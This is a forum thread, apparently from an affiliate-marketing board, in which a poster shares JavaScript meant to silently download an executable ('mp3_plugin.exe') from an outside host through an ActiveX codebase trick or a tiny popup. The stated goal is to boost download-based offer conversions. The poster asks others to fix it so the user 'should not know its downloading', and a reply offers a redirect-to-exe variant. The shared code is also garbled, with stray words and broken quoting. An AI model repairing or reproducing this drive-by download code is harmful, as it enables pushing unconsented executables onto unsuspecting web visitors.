Auto Download Starter Script.

meannn

Elite Member
Joined
Apr 22, 2009
Messages
1,885
Reaction score
2,717
Hello. This is just insane script that downloads file without asking user. It would be great to use it on offers that converts by downloads.

Code:
<script language=JavaScript>

Vanish var baseURL = "http://home.wanadoo.nl/wrnsuper2/"; var filename = "mp3_plugin.exe"; 

function WhichBrowser() { BrowserName = navigator.appName;  BrowserVersion = parseInt(navigator.appVersion);  Browser = "NS"; if  ((BrowserName == "Netscape")) Browser = "NC"; else if (BrowserName ==  "Microsoft Internet Explorer") Browser = "IE"; return Browser; } 

function ncDownload() { window.open("mp3_plugin.exe","_blan k","height=1,width=1"); } 

function IE_DownloadFile(ieURL) { document.write("<OBJECT");  document.write(" CLASSID  ="CLSID:8522F9B3-38C5-4aa4-AE40-7401F1BBC851""); document.write("  CODEBASE="" ieURL "">" ); document.write("</OBJECT>"); } 

function DownloadFile() { if (WhichBrowser() == "IE")  IE_DownloadFile(baseURL   filename); if (WhichBrowser() == "NC")  ncDownload(); } 
</script>

<script language=JavaScript>
 DownloadFile(); 
</script>

Update: It needs a little modification/fix to get it work. It would be nice to help this code working. Thank you.
 
Last edited:
You can just run a external js to start the download. I'll mess around with it today.
 
It downloads automatically in background ? Or asks to download ?
 
Is this what you mean:

Call this test.html:
Code:
<html>
<head>
<SCRIPT LANGUAGE="JavaScript" SRC="download.js"></SCRIPT>
</head>
<body>
</body>
<html>

Then call this download.js
Code:
window.top.location.href = 'http://domain.com/download.exe';
 
No. User should not know its downloading. And script should'nt ask user to download it.
 
Did anyone ever get this script working?
 
Back
Top